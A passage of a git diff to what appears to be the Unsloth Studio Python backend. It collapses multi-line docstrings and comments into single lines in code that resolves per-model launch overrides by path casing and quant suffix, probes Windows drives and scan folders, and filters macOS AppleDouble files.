stale and malformed flags are still stripped; /props then publishes what was really allocated.matching_explicit_ctx = matches_explicit_ctx_override(kwargs["llama_extra_args"], kwargs.get("max_seq_length"))kwargs["llama_extra_args"] = strip_shadowing_flags(kwargs["llama_extra_args"],- # Only the groups this override actually supplies, as the route gates on its- # request's set fields: a flag with no first-class field behind it is the user's- # only way to set that knob and still passes through.+ # Only the groups this override actually supplies, as the route gates on its request's set fields: a flag with no first-class field behind it is the user's only way to set that knob and still passes through.strip_context = "max_seq_length" in kwargs and not matching_explicit_ctx,strip_cache = "cache_type_kv" in kwargs,strip_spec = "speculative_type" in kwargs or "spec_draft_n_max" in kwargs,strip_template = "chat_template_override" in kwargs,- # Sent only when on, so it is always the Tensor Parallelism toggle overriding the- # flag; an override that leaves the toggle off keeps a row/none/layer split mode.+ # Sent only when on, so it is always the Tensor Parallelism toggle overriding the flag; an override that leaves the toggle off keeps a row/none/layer split mode.strip_split_mode = bool(kwargs.get("tensor_parallel")),strip_batch = "n_batch" in kwargs,strip_ubatch = "n_ubatch" in kwargs,@@ -776,7 +624,6 @@ def _looks_like_filesystem_path(model_id: str) -> bool:"""True for an absolute path id, as the ./models and LM Studio scanners emit."""if model_id.startswith(("/", "\\")):return True- # Windows drive letter, e.g. "C:\models\x.gguf".return len(model_id) >= 3 and model_id[1] == ":" and model_id[2] in ("\\", "/")@@ -786,13 +633,7 @@ _WSL_DRIVE_PATH = re.compile(r"^/mnt/[A-Za-z](?:/|$)")def _fold_case_insensitive_path(model_id: str) -> Optional[str]:- """``model_id`` folded for comparison, or None when the path is case-sensitive.-- A Windows drive path, a UNC share and a WSL drive path all name one file- whatever the casing, and the separator is interchangeable on Windows. A- POSIX path is not: folding "/models/Foo.gguf" onto "/models/foo.gguf" would- replay another model's context and GPU pin.- """+ """``model_id`` folded for comparison, or None when the path is case-sensitive. A Windows drive path, a UNC share and a WSL drive path all name one file whatever the casing, and the separator is interchangeable on Windows; a POSIX path is not, and folding "/models/Foo.gguf" onto "/models/foo.gguf" would replay another model's context and GPU pin."""slashed = model_id.replace("\\", "/")if _WINDOWS_DRIVE_PATH.match(model_id):minimum = 3@@ -814,12 +655,7 @@ _MAX_QUANT_SUFFIX_LEN = 64def split_quant_suffix(value: str) -> Optional[tuple[str, str]]:- """``(head, quant)`` for a ``head:QUANT`` key, or None when there is none.-- The suffix has to be a real quant label, so an ordinary colon inside a POSIX- filename is left alone: "/models/foo:bar.gguf" is one valid filename, and- splitting it would graft /models/foo's launch flags onto a different model.- """+ """``(head, quant)`` for a ``head:QUANT`` key, or None when there is none. The suffix has to be a real quant label, so an ordinary colon inside a POSIX filename is left alone: "/models/foo:bar.gguf" is one valid filename, and splitting it would graft /models/foo's launch flags onto a different model."""from core.inference.llama_cpp import _GGUF_KNOWN_QUANT_REfrom hub.utils.gguf import extract_quant_label@@ -832,8 +668,7 @@ def split_quant_suffix(value: str) -> Optional[tuple[str, str]]:_BPW_SUFFIX.sub("", tail)):return head, tail- # A .gguf with no quant token is labelled by its stem, lowercased in storage while the- # scanner keeps filename casing. Requiring exactly that label keeps an ordinary colon out.+ # A .gguf with no quant token is labelled by its stem, lowercased in storage while the scanner keeps filename casing. Requiring exactly that label keeps an ordinary colon out.if not head.lower().endswith(".gguf"):return Nonefilename = head.replace("\\", "/").rsplit("/", 1)[-1]@@ -841,12 +676,7 @@ def split_quant_suffix(value: str) -> Optional[tuple[str, str]]:def _fold_posix_path_variant(value: str) -> str:- """A POSIX path id with only its quant suffix folded.-- The browser lowercases the variant but keeps the path casing, so a stored- "/models/Foo:q4_k_m" has to be reachable from "/models/Foo:Q4_K_M" without- also making "/models/Foo.gguf" reachable from "/models/foo.gguf".- """+ """A POSIX path id with only its quant suffix folded. The browser lowercases the variant but keeps the path casing, so a stored "/models/Foo:q4_k_m" has to be reachable from "/models/Foo:Q4_K_M" without also making "/models/Foo.gguf" reachable from "/models/foo.gguf"."""split = split_quant_suffix(value)if split is None:return value@@ -861,15 +691,7 @@ def get_model_overrides() -> dict[str, dict]:def get_model_override(model_id: str) -> dict:- """The launch override applied when auto-switch loads ``model_id`` (or empty).-- Falls back to a case-insensitive match when nothing matches exactly. Repo ids- and quants are case-insensitive in practice ("Q4_K_M" and "q4_k_m" name one- file), and the browser normalizes them to lowercase before storing, so an- exact-only lookup misses entries written from that side. Exact still wins, and- an ambiguous fallback matches nothing, so two POSIX paths differing only in- case stay distinct.- """+ """The launch override applied when auto-switch loads ``model_id`` (or empty). Falls back to a case-insensitive match when nothing matches exactly: repo ids and quants are case-insensitive in practice and the browser normalizes them to lowercase before storing, so an exact-only lookup misses entries written from that side. Exact still wins, and an ambiguous fallback matches nothing, so two POSIX paths differing only in case stay distinct."""key = resolve_model_override_key(model_id)if key is None:return {}@@ -878,15 +700,10 @@ def get_model_override(model_id: str) -> dict:def _folded_override_matches(model_id: str, overrides: dict) -> list[str]:- """Stored keys naming the same model as ``model_id``, by the folding rules.-- One rule, so a reader and a remover can never fold differently.- """+ """Stored keys naming the same model as ``model_id``, by the folding rules. One rule, so a reader and a remover can never fold differently."""if not isinstance(model_id, str):return []- # POSIX paths are case-sensitive, so folding two casings would replay another model's- # settings. Windows drive, UNC and WSL paths do fold, and so does the browser before- # storing, so not folding them here strands them.+ # POSIX paths are case-sensitive, so folding two casings would replay another model's settings. Windows drive, UNC and WSL paths do fold, and so does the browser before storing, so not folding them here strands them.if _looks_like_filesystem_path(model_id):folded = _fold_case_insensitive_path(model_id)if folded is not None:@@ -894,13 +711,10 @@ def _folded_override_matches(model_id: str, overrides: dict) -> list[str]:def fold(key: str) -> Optional[str]:return _fold_case_insensitive_path(key)else:- # POSIX: the path stays case-sensitive.- # The browser lowercases the quant, so "/models/Foo:q4_k_m" must be reachable from the scanner's- # "/models/Foo:Q4_K_M".+ # POSIX: the path stays case-sensitive. The browser lowercases the quant, so "/models/Foo:q4_k_m" must be reachable from the scanner's "/models/Foo:Q4_K_M".folded = _fold_posix_path_variant(model_id)def fold(key: str) -> Optional[str]:- # A path only ever folds onto another path.if not _looks_like_filesystem_path(key):return Nonereturn None if _fold_case_insensitive_path(key) else _fold_posix_path_variant(key)@@ -908,7 +722,6 @@ def _folded_override_matches(model_id: str, overrides: dict) -> list[str]:folded = model_id.casefold()def fold(key: str) -> Optional[str]:- # A path never folds onto a repo id: the shapes cannot collide.return None if _looks_like_filesystem_path(key) else key.casefold()return [@@ -923,17 +736,7 @@ def override_lookup_candidates(alias_id: Optional[str] = None,variant: Optional[str] = None,) -> list[str]:- """The keys a load tries, in order, when looking for its stored override.-- Variant-qualified before bare, and the LOAD PATH before the advertised alias: the- settings UI keys a local row by the path it loads from, while the alias is a- derived id, so reading the alias first lets an older entry shadow a fresh save.- An early build keyed a loose ``.gguf`` by its filename label, which is why the- ``<path>:LABEL`` spelling is tried too.-- Shared so the auto-switch loader and anything showing the user what a load will- apply cannot drift apart.- """+ """The keys a load tries, in order, when looking for its stored override. Variant-qualified before bare, and the LOAD PATH before the advertised alias: the settings UI keys a local row by the path it loads from while the alias is a derived id, so reading the alias first lets an older entry shadow a fresh save. An early build keyed a loose ``.gguf`` by its filename label, which is why the ``<path>:LABEL`` spelling is tried too. Shared so the auto-switch loader and anything showing the user what a load will apply cannot drift apart."""file_variant = Noneif not variant and load_id.lower().endswith(".gguf"):from hub.utils.gguf import extract_quant_label@@ -957,11 +760,7 @@ def resolve_override_for_load(alias_id: Optional[str] = None,variant: Optional[str] = None,) -> tuple[Optional[str], dict]:- """``(key, override)`` the load would apply, or ``(None, {})``.-- Resolution belongs here rather than in a client: the folding rules are Python's- (casefold is not toLowerCase), and an ambiguous fold deliberately matches nothing.- """+ """``(key, override)`` the load would apply, or ``(None, {})``. Resolution belongs here rather than in a client: the folding rules are Python's (casefold is not toLowerCase), and an ambiguous fold deliberately matches nothing."""for key in override_lookup_candidates(load_id, alias_id, variant):override = get_model_override(key)if override:@@ -970,12 +769,7 @@ def resolve_override_for_load(def resolve_model_override_key(model_id: str) -> Optional[str]:- """The stored key an override lookup for ``model_id`` would actually hit.-- Shared by read and remove so "what a load applies" and "what forgetting this- model clears" can never disagree. None when two keys fold together, since- guessing between them applies one model's settings to another.- """+ """The stored key an override lookup for ``model_id`` would actually hit. Shared by read and remove so "what a load applies" and "what forgetting this model clears" can never disagree. None when two keys fold together, since guessing between them applies one model's settings to another."""overrides = get_model_overrides()if isinstance(overrides.get(model_id), dict):return model_id@@ -984,14 +778,7 @@ def resolve_model_override_key(model_id: str) -> Optional[str]:def resolve_model_override_keys(model_id: str) -> list[str]:- """Every stored key naming the same model, for a caller clearing all of them.-- A lookup stops at one key, but forgetting cannot: an install upgraded from a- build whose setter stored the literal id can hold two spellings of one model,- and clearing only the one named leaves the survivor as the sole fold match, so- the next load applies the settings that were just forgotten. POSIX paths still- stand alone, so two files never clear each other.- """+ """Every stored key naming the same model, for a caller clearing all of them. A lookup stops at one key, but forgetting cannot: an install upgraded from a build whose setter stored the literal id can hold two spellings of one model, and clearing only the one named leaves the survivor as the sole fold match, so the next load applies the settings that were just forgotten. POSIX paths still stand alone, so two files never clear each other."""overrides = get_model_overrides()keys = [model_id] if isinstance(overrides.get(model_id), dict) else []keys.extend(key for key in _folded_override_matches(model_id, overrides) if key not in keys)@@ -999,18 +786,7 @@ def resolve_model_override_keys(model_id: str) -> list[str]:def _cached_repo_override_identity(model_id: str) -> Optional[tuple[str, str]]:- """``(repo id, quant)`` for a key naming one quant of an HF-cache repo, else None.-- The two spellings of such a repo fold together here: the repo id the picker keys a- cached row by, and the ``models--org--name/snapshots/<rev>`` path the loader takes- (which an older release keyed the same row by). The repo id is recovered from the- path exactly as the scanner and the auto-switch index derive it, so the two sides- cannot disagree about which model a key names.-- None for anything that names no quant (a bare entry backs every quant of the repo,- like the bare repo id, so it is nobody's duplicate) and for any other local path- (a ``./models`` folder or loose ``.gguf`` is keyed by its path and by nothing else).- """+ """``(repo id, quant)`` for a key naming one quant of an HF-cache repo, else None. The two spellings of such a repo fold together here: the repo id the picker keys a cached row by, and the ``models--org--name/snapshots/<rev>`` path the loader takes (which an older release keyed the same row by). The repo id is recovered from the path exactly as the scanner and the auto-switch index derive it, so the two sides cannot disagree about which model a key names. None for anything that names no quant (a bare entry backs every quant of the repo, so it is nobody's duplicate) and for any other local path (a ``./models`` folder or loose ``.gguf`` is keyed by its path and by nothing else)."""split = split_quant_suffix(model_id)if split is None:return None@@ -1026,18 +802,7 @@ def _cached_repo_override_identity(model_id: str) -> Optional[tuple[str, str]]:def is_cache_load_path_key(model_id: str) -> bool:- """True when ``model_id`` spells a cached quant as the path a load actually opens.-- The two spellings of one cached repo are not interchangeable in a lookup:- ``override_lookup_candidates`` tries the load path before the advertised repo id,- so of a pair only the path row is ever read and the repo-id row sits dormant. A- caller choosing between stored rows has to know which side it is holding, and- ``cached_repo_alias_keys`` deliberately does not say, since it answers "the other- spelling" in either direction.-- Lives here for the reason the rest of the resolution does: the ordering rule is- this module's, and a second copy of it would drift.- """+ """True when ``model_id`` spells a cached quant as the path a load actually opens. The two spellings of one cached repo are not interchangeable in a lookup: ``override_lookup_candidates`` tries the load path before the advertised repo id, so of a pair only the path row is ever read and the repo-id row sits dormant. A caller choosing between stored rows has to know which side it is holding, and ``cached_repo_alias_keys`` deliberately does not say, since it answers "the other spelling" in either direction. Lives here because the ordering rule is this module's and a second copy of it would drift."""from core.inference.model_ids import hf_cache_repo_idsplit = split_quant_suffix(model_id)@@ -1046,16 +811,7 @@ def is_cache_load_path_key(model_id: str) -> bool:def cached_repo_alias_keys(model_id: str) -> list[str]:- """Stored keys that name the same cached quant as ``model_id`` under the other spelling.-- The auto-switch loader reads the concrete load path before the advertised repo id,- so a snapshot-path entry left behind by an upgrade outranks the repo-id entry a- Settings save writes and keeps applying the pre-migration launch config. One entry- per model, as the casing folds already are: the writer clears what it supersedes.-- Excludes every spelling of ``model_id`` itself, which the caller writes or clears- on its own.- """+ """Stored keys that name the same cached quant as ``model_id`` under the other spelling. The auto-switch loader reads the concrete load path before the advertised repo id, so a snapshot-path entry left behind by an upgrade outranks the repo-id entry a Settings save writes and keeps applying the pre-migration launch config. One entry per model, as the casing folds already are: the writer clears what it supersedes. Excludes every spelling of ``model_id`` itself, which the caller writes or clears on its own."""identity = _cached_repo_override_identity(model_id)if identity is None:return []@@ -1080,15 +836,7 @@ def set_model_override(keep_empty_extra_args: bool = False,**config: Any,) -> dict:- """Upsert one model's launch config; a config with no usable fields removes it.-- The two legacy parameters stay positional for existing callers; every other- per-model field is passed by keyword and normalized together.-- ``fill_absent_fields`` writes only what is missing: an entry already stored- keeps every field it holds and gains only the ones it lacks. Returns the- normalized entry either way; read the map back to see what is actually stored.- """+ """Upsert one model's launch config; a config with no usable fields removes it. The two legacy parameters stay positional for existing callers; every other per-model field is passed by keyword and normalized together. ``fill_absent_fields`` writes only what is missing: an entry already stored keeps every field it holds and gains only the ones it lacks. Returns the normalized entry either way; read the map back to see what is actually stored."""if not model_id or not model_id.strip():raise ValueError("model_id is required.")entry = normalize_model_override(@@ -1102,14 +850,12 @@ def set_model_override(from storage.studio_db import upsert_app_setting_map_entry- # Atomic per-entry merge so two PUTs for different models can't drop each other.upsert_app_setting_map_entry(MODEL_OVERRIDES_SETTING_KEY,model_id.strip(),entry or None,fill_absent_fields = fill_absent_fields,- # The pin and its index space are one value: filling the qualifier onto ids this- # browser did not write relabels them.+ # The pin and its index space are one value: filling the qualifier onto ids this browser did not write relabels them.coupled_fields = (("gpu_ids", "gpu_index_kind"),),)_invalidate(MODEL_OVERRIDES_SETTING_KEY)diff --git a/studio/backend/utils/paths/external_media.py b/studio/backend/utils/paths/external_media.pyindex 783a82d7d70..a78c9670ce2 100644--- a/studio/backend/utils/paths/external_media.py+++ b/studio/backend/utils/paths/external_media.py@@ -29,16 +29,13 @@ def is_local_filesystem_root(path: str, *, _pathmod = os.path) -> bool:on POSIX servers, so this reduces to the plain ``dirname == self`` test there.``_pathmod`` lets tests drive ``ntpath`` semantics on a POSIX CI."""- # Resolve the Windows device / extended-length namespace, where \\?\C:\,- # \\.\C:\ and \\?\Volume{GUID}\ are all bare LOCAL volume roots (rejected)- # while only \\?\UNC\server\share is a UNC share (handled like \\server\share).+ # Resolve the Windows device / extended-length namespace, where the local-volume spellings are all bare LOCAL volume roots (rejected) while only the UNC form is a UNC share, handled like a plain server share.if path[:4].lower() in ("\\\\?\\", "\\\\.\\"):rest = path[4:]if rest[:4].lower() == "unc\\":path = "\\\\" + rest[4:]else:- # A device volume root is just the volume specifier (C:, Volume{GUID})- # with no further component; a deeper path is an ordinary folder.+ # A device volume root is just the volume specifier (C:, Volume{GUID}) with no further component; a deeper path is an ordinary folder.core = rest.rstrip("\\/")return "\\" not in core and "/" not in coreif _pathmod.dirname(path) != path:@@ -155,14 +152,7 @@ def macos_volume_roots(base: Path | str = "/Volumes") -> list[Path]:def _active_windows_drive_bitmask() -> int:- """Active-logical-drive bitmask from ``GetLogicalDrives`` (bit 0 = ``A:``), or ``0`` when unavailable.-- A fast non-blocking call that lets :func:`windows_drive_roots` skip the- ``os.path.isdir`` probe on unmapped letters. A disconnected network mapping- stays set here, so it does not guard the reconnect stall on its own;- :func:`windows_drive_roots` bounds each surviving probe too. Returns ``0``- (probe every letter) when ctypes/``windll`` is missing.- """+ """Active-logical-drive bitmask from ``GetLogicalDrives`` (bit 0 = A:), or ``0`` when unavailable. A fast non-blocking call that lets :func:`windows_drive_roots` skip the ``os.path.isdir`` probe on unmapped letters. A disconnected network mapping stays set here, so it does not guard the reconnect stall on its own; :func:`windows_drive_roots` bounds each surviving probe too. Returns ``0`` (probe every letter) when ctypes/``windll`` is missing."""try:import ctypesreturn int(ctypes.windll.kernel32.GetLogicalDrives())@@ -170,22 +160,12 @@ def _active_windows_drive_bitmask() -> int:return 0-# A disconnected mapped drive stays set in the GetLogicalDrives bitmask, so-# ``os.path.isdir`` on it can block for tens of seconds. Bound each drive probe-# so one stale mapping cannot stall a whole folder-browser request.+# A disconnected mapped drive stays set in the GetLogicalDrives bitmask, so ``os.path.isdir`` on it can block for tens of seconds. Bound each drive probe so one stale mapping cannot stall a whole folder-browser request._DRIVE_PROBE_TIMEOUT_S = 2.0def _readable_dirs_within(paths: Iterable[str], timeout: float) -> set[str]:- """Which of *paths* are readable directories, probed concurrently under one overall *timeout* (seconds).-- Each path is checked (``os.path.isdir`` + ``os.access(R_OK)``) in its own- daemon thread and the call waits at most *timeout* total, not per path, so N- stalled network drives add ~timeout instead of N*timeout. A path not- answering ``True`` by the deadline is treated as unreadable. The daemon- threads are never joined past the deadline, so a stuck OS call cannot delay- interpreter exit or block the caller (``os.path.isdir`` releases the GIL).- """+ """Which of *paths* are readable directories, probed concurrently under one overall *timeout* (seconds). Each path is checked (``os.path.isdir`` + ``os.access(R_OK)``) in its own daemon thread and the call waits at most *timeout* total, not per path, so N stalled network drives add ~timeout instead of N*timeout. A path not answering ``True`` by the deadline is treated as unreadable. The daemon threads are never joined past the deadline, so a stuck OS call cannot delay interpreter exit or block the caller (``os.path.isdir`` releases the GIL)."""paths = list(paths)results: dict[str, bool] = {}@@ -205,9 +185,7 @@ def _readable_dirs_within(paths: Iterable[str], timeout: float) -> set[str]:for thread in threads:thread.join(max(0.0, deadline - time.monotonic()))- # Iterate the fixed input, not results.items(): a probe that timed out is- # still alive and may insert its key here, which would raise "dictionary- # changed size during iteration". results.get() is an atomic read.+ # Iterate the fixed input, not results.items(): a probe that timed out is still alive and may insert its key here, which would raise "dictionary changed size during iteration". results.get() is an atomic read.return {path for path in paths if results.get(path)}@@ -246,7 +224,6 @@ def windows_drive_roots(drive_letters: Iterable[str] = string.ascii_uppercase) -seen.add(key)candidates.append(root_text)- # Bounded concurrent probe: an active bitmask bit can still be a- # disconnected mapping whose os.path.isdir blocks, so probe all at once.+ # Bounded concurrent probe: an active bitmask bit can still be a disconnected mapping whose os.path.isdir blocks, so probe all at once.readable = _readable_dirs_within(candidates, _DRIVE_PROBE_TIMEOUT_S)return [Path(root_text) for root_text in candidates if root_text in readable]diff --git a/studio/backend/utils/paths/path_utils.py b/studio/backend/utils/paths/path_utils.pyindex bf215b5313f..f6425f1c436 100644--- a/studio/backend/utils/paths/path_utils.py+++ b/studio/backend/utils/paths/path_utils.py@@ -1,9 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""-Path utilities for model and dataset handling-"""+"""Path utilities for model and dataset handling."""import osimport sys@@ -14,17 +12,12 @@ from loggers import get_loggerlogger = get_logger(__name__)-# Opening a cloud placeholder for data recalls it. These attributes are available through-# ``stat_result.st_file_attributes`` on Windows without reading file contents.+# Opening a cloud placeholder for data recalls it; these attributes are available through ``stat_result.st_file_attributes`` on Windows without reading file contents._WINDOWS_CONTENT_RECALL_ATTRIBUTES = 0x00001000 | 0x00040000 | 0x00400000def file_contents_available_locally(path, stat_result = None) -> bool:- """Whether opening *path* can read data without recalling a cloud placeholder.-- Non-Windows files have no ``st_file_attributes`` and are treated as local. An- inaccessible path is not safe to open during inventory discovery.- """+ """Whether opening *path* can read data without recalling a cloud placeholder. Non-Windows files have no ``st_file_attributes`` and are treated as local; an inaccessible path is not safe to open during inventory discovery."""try:info = stat_result if stat_result is not None else os.stat(path)except OSError:@@ -33,10 +26,7 @@ def file_contents_available_locally(path, stat_result = None) -> bool:return not bool(attributes & _WINDOWS_CONTENT_RECALL_ATTRIBUTES)-# A volume without native xattrs makes macOS keep them in a "._" companion that answers every name-shaped question the-# way the real file does; only the magic bytes settle it.-# The volumes are exFAT, FAT, most SMB and NFS, and nothing may be refused for the prefix alone: a user's own-# "._model.gguf" is a real model.+# A volume without native xattrs makes macOS keep them in a "._" companion that answers every name-shaped question the way the real file does; only the magic bytes settle it. The volumes are exFAT, FAT, most SMB and NFS, and nothing may be refused for the prefix alone: a user's own "._model.gguf" is a real model.# ── macOS Finder metadata companions ───────────────────────────_MAGIC = b"\x00\x05\x16\x07"@@ -51,8 +41,7 @@ def is_appledouble_name(path: str) -> bool:def has_appledouble_magic(path: Path) -> bool:"""The four bytes ``file(1)`` reads to report "AppleDouble encoded Macintosh file"."""try:- # Directory scans reach here with whatever the volume holds, and opening a FIFO blocks- # until someone writes to it. Only a regular file can carry the magic anyway.+ # Directory scans reach here with whatever the volume holds, and opening a FIFO blocks until someone writes to it. Only a regular file can carry the magic anyway.if not path.is_file():return Falsewith open(path, "rb") as handle:@@ -73,10 +62,7 @@ def drop_appledouble_metadata(paths: Iterable[PathLike]) -> list[PathLike]:def any_not_appledouble_metadata(paths: Iterable[PathLike]) -> bool:- """Whether *paths* holds anything that is not Finder metadata, stopping at the first.-- Callers hand this a live ``glob``, which materializing would walk in full.- """+ """Whether *paths* holds anything that is not Finder metadata, stopping at the first. Callers hand this a live ``glob``, which materializing would walk in full."""return any(not is_appledouble_metadata(Path(p)) for p in paths)@@ -86,18 +72,12 @@ def _shadowed_name(path: str) -> str:def drop_shadowed_appledouble_names(- # Optional[...] rather than `| None`: this module has no `from __future__ import- # annotations`, so its annotations are evaluated at import, and PEP 604 unions are a- # TypeError on the declared 3.9 floor. tests/test_python39_compatibility.py gates it.+ # Optional[...] rather than a PEP 604 union: this module has no `from __future__ import annotations`, so annotations are evaluated at import and PEP 604 is a TypeError on the declared 3.9 floor. tests/test_python39_compatibility.py gates it.files: list[str],*,subject_key: Optional[Callable[[str], object]] = None,) -> list[str]:- """*files* without the ``._`` entries whose subject is present in the same listing.-- For remote listings, which carry no bytes to read, so a sole candidate survives whatever it- is called. *subject_key* widens what counts as the subject, for files that come in sets.- """+ """*files* without the ``._`` entries whose subject is present in the same listing. For remote listings, which carry no bytes to read, so a sole candidate survives whatever it is called. *subject_key* widens what counts as the subject, for files that come in sets."""key = subject_key or (lambda name: name)present = {key(f.replace("\\", "/")) for f in files}return [f for f in files if not (is_appledouble_name(f) and key(_shadowed_name(f)) in present)]@@ -106,7 +86,6 @@ def drop_shadowed_appledouble_names(# Per-process cache to avoid repeated cache-dir scans for the same identifier._CACHE_CASE_RESOLUTION_MEMO: dict[str, str] = {}-# Instrumentation counters for operational visibility._CACHE_CASE_RESOLUTION_STATS: dict[str, int] = {"calls": 0,"memo_hits": 0,@@ -133,15 +112,10 @@ _IS_WSL: bool = _is_wsl()def normalize_path(path: str) -> str:- """Normalize filesystem paths for cross-platform use.-- WSL maps drive-letter paths to ``/mnt/<drive>/...``; native Windows keeps- the drive and normalizes separators; elsewhere slashes are forward-only.- """+ """Normalize filesystem paths for cross-platform use: WSL maps drive-letter paths to ``/mnt/<drive>/...``, native Windows keeps the drive and normalizes separators, elsewhere slashes are forward-only."""if not path:return path- # Handle Windows drive letters (C:\\ or c:\\)if len(path) >= 3 and path[1] == ":" and path[2] in ("\\", "/"):# Map to /mnt/<drive>/ only under WSL; native Windows keeps the drive letter.if _IS_WSL:@@ -150,16 +124,11 @@ def normalize_path(path: str) -> str:return f"/mnt/{drive}/{rest}"return path.replace("\\", "/")- # Already Unix-style or relativereturn path.replace("\\", "/")def wsl_automount_root() -> str:- """DrvFs root WSL maps Windows drives under, with a trailing slash.-- Set via ``/etc/wsl.conf`` ``[automount] root``, so hard-coding ``/mnt/``- mistranslates drive paths on a host that moved it (``root = /`` puts C: at ``/c/``).- """+ """DrvFs root WSL maps Windows drives under, with a trailing slash. Set via ``/etc/wsl.conf`` ``[automount] root``, so hard-coding ``/mnt/`` mistranslates drive paths on a host that moved it (``root = /`` puts C: at ``/c/``)."""default = "/mnt/"if not _IS_WSL:return default@@ -189,13 +158,9 @@ def _looks_windows_shaped(path: str) -> bool:def host_normalize_path(path: str) -> str:"""Normalize a path this process is about to open, honouring ``[automount] root``.- Not :func:`normalize_path`: that hard-codes ``/mnt/`` to predict where the model- *loader* will look, while a path read from another tool's config is stat-ed here.+ Not :func:`normalize_path`: that hard-codes ``/mnt/`` to predict where the model *loader* will look, while a path read from another tool's config is stat-ed here.- Separators are rewritten only when the path is Windows-shaped, or on Windows itself- where a backslash cannot be anything else. Everywhere else, WSL included, a path that- names no drive is a POSIX path, and a backslash in it is a legal filename character:- rewriting it would silently lose a directory that has one in its name.+ Separators are rewritten only when the path is Windows-shaped, or on Windows itself where a backslash cannot be anything else. Everywhere else, WSL included, a path that names no drive is a POSIX path and a backslash in it is a legal filename character, so rewriting it would silently lose a directory that has one in its name."""if not path:return path@@ -214,13 +179,7 @@ def host_normalize_path(path: str) -> str:def is_local_path(path: str) -> bool:- """- Check if path is a local filesystem path vs HuggingFace model identifier.-- Examples:- True: /home/user/model, C:\\models, ./model, ~/model- False: unsloth/llama-3.1-8b, microsoft/phi-2- """+ """Whether path is a local filesystem path rather than a HuggingFace model identifier: local for /home/user/model, ./model or ~/model, not local for unsloth/llama-3.1-8b or microsoft/phi-2."""if not path:return False@@ -231,11 +190,9 @@ def is_local_path(path: str) -> bool:except Exception:pass- # Obvious HF patternsif path.count("/") == 1 and not path.startswith(("/", ".", "~")):return False- # Filesystem indicatorsreturn path.startswith(("/", ".", "~")) or ":" in path or "\\" in path or os.path.isabs(path)@@ -255,7 +212,6 @@ def is_model_cached(model_name: str) -> bool:if not cache_path:return False- # Check for model filesfor suffix in [".safetensors", ".bin", ".json"]:if any_not_appledouble_metadata(cache_path.rglob(f"*{suffix}")):return True@@ -270,12 +226,7 @@ def _hf_hub_cache_dir() -> Path:def resolve_cached_repo_id_case(model_name: str, use_memo: bool = True) -> str:- """Resolve repo_id to the exact casing already present in local HF cache.-- Policy: prefer the requested/canonical repo_id, but reuse a case-variant's- exact cached spelling if one already exists in local HF cache. Avoids- duplicate downloads while preserving user intent where possible.- """+ """Resolve repo_id to the exact casing already present in the local HF cache. Prefer the requested/canonical repo_id, but reuse a case-variant's exact cached spelling when one already exists, avoiding duplicate downloads while preserving user intent where possible."""_CACHE_CASE_RESOLUTION_STATS["calls"] += 1if not model_name or "/" not in model_name:@@ -378,16 +329,9 @@ def _wsl_reveal_in_explorer(path: Path, is_file: bool) -> bool:def reveal_in_file_manager(path: Path, expect_dir: bool = False) -> None:"""Open the OS file manager with *path* selected (best effort per platform).- Raises ``FileNotFoundError`` when the target is gone: the Linux branch falls- back to the parent, which for a sandbox is the root holding every other- chat's.+ Raises ``FileNotFoundError`` when the target is gone: the Linux branch falls back to the parent, which for a sandbox is the root holding every other chat's.- ``expect_dir`` refuses anything that is not a real directory, symlinks- included, since both would take the file branch and name that same parent.- One ``lstat`` answers type and link-ness together, leaving no window between- the checks (``is_dir()`` follows links; ``follow_symlinks = False`` is 3.13+- only, and this runs on 3.10). Off by default: the cached-model reveal points- at a file, and a symlinked one, as an HF cache snapshot is a link farm.+ ``expect_dir`` refuses anything that is not a real directory, symlinks included, since both would take the file branch and name that same parent. One ``lstat`` answers type and link-ness together, leaving no window between the checks (``is_dir()`` follows links; ``follow_symlinks = False`` is 3.13+ only, and this runs on 3.10). Off by default: the cached-model reveal points at a file, and a symlinked one, as an HF cache snapshot is a link farm."""import stat as stat_moduleimport subprocessdiff --git a/studio/backend/utils/paths/scan_folder_health.py b/studio/backend/utils/paths/scan_folder_health.pyindex 4b41c2b3704..5eb44eeec73 100644--- a/studio/backend/utils/paths/scan_folder_health.py+++ b/studio/backend/utils/paths/scan_folder_health.py@@ -1,12 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Readability of user-registered model scan folders.--Two halves of one problem: prove a folder can be listed before registering it,-and remember the folders a later scan could not read so the UI can say so-instead of showing an empty model list.-"""+"""Readability of user-registered model scan folders. Two halves of one problem: prove a folder can be listed before registering it, and remember the folders a later scan could not read so the UI can say so instead of showing an empty model list."""from __future__ import annotations@@ -32,20 +27,12 @@ STATUS_UNKNOWN = "unknown"_PROBE_DEPTH = 2# Total opens for one probe, whatever the shape. Bounds the cost; the depth does not._PROBE_OPEN_LIMIT = 64-# A huggingface_hub cache keeps the weights only in <root>/models--org--name/snapshots/<commit>/, so refusing that-# directory leaves the folder looking healthy and empty at once.+# A huggingface_hub cache keeps the weights only in <root>/models--org--name/snapshots/<commit>/, so refusing that directory leaves the folder looking healthy and empty at once._HF_SNAPSHOTS_DIR = "snapshots"def _probe_dir(path: str, *, depth: int, budget: list[int]) -> tuple[str, Optional[str]]:- """Open ``path``, then its subdirectories down to ``depth``, depth first.-- Returns the status and the directory that refused. Depth first so a denied- model is found in three opens rather than after every publisher. ``budget``- is shared across the walk and spent one per open. Running out returns- ``STATUS_UNKNOWN``: the tail was never looked at, which is not the same as- finding it healthy.- """+ """Open ``path``, then its subdirectories down to ``depth``, depth first, returning the status and the directory that refused. Depth first so a denied model is found in three opens rather than after every publisher. ``budget`` is shared across the walk and spent one per open; running out returns ``STATUS_UNKNOWN``, since the tail was never looked at, which is not the same as finding it healthy."""if budget[0] <= 0:return STATUS_UNKNOWN, Nonebudget[0] -= 1@@ -71,13 +58,11 @@ def _probe_dir(path: str, *, depth: int, budget: list[int]) -> tuple[str, Optionfor name, subdir in subdirs:child_depth = depth - 1if child_depth <= 0 and name == _HF_SNAPSHOTS_DIR:- # Spend one more level here rather than raising the depth everywhere: a diffusers pipeline's component- # directories would otherwise burn the budget.+ # Spend one more level here rather than raising the depth everywhere: a diffusers pipeline's component directories would otherwise burn the budget.child_depth = 1status, cause = _probe_dir(subdir, depth = child_depth, budget = budget)if status == STATUS_MISSING:- # It was in the listing a moment ago and is gone now (a model being deleted, or a download renaming its temp- # directory), which says nothing about the folder the user registered.+ # It was in the listing a moment ago and is gone now (a model being deleted, or a download renaming its temp directory), which says nothing about the folder the user registered.continueif status != 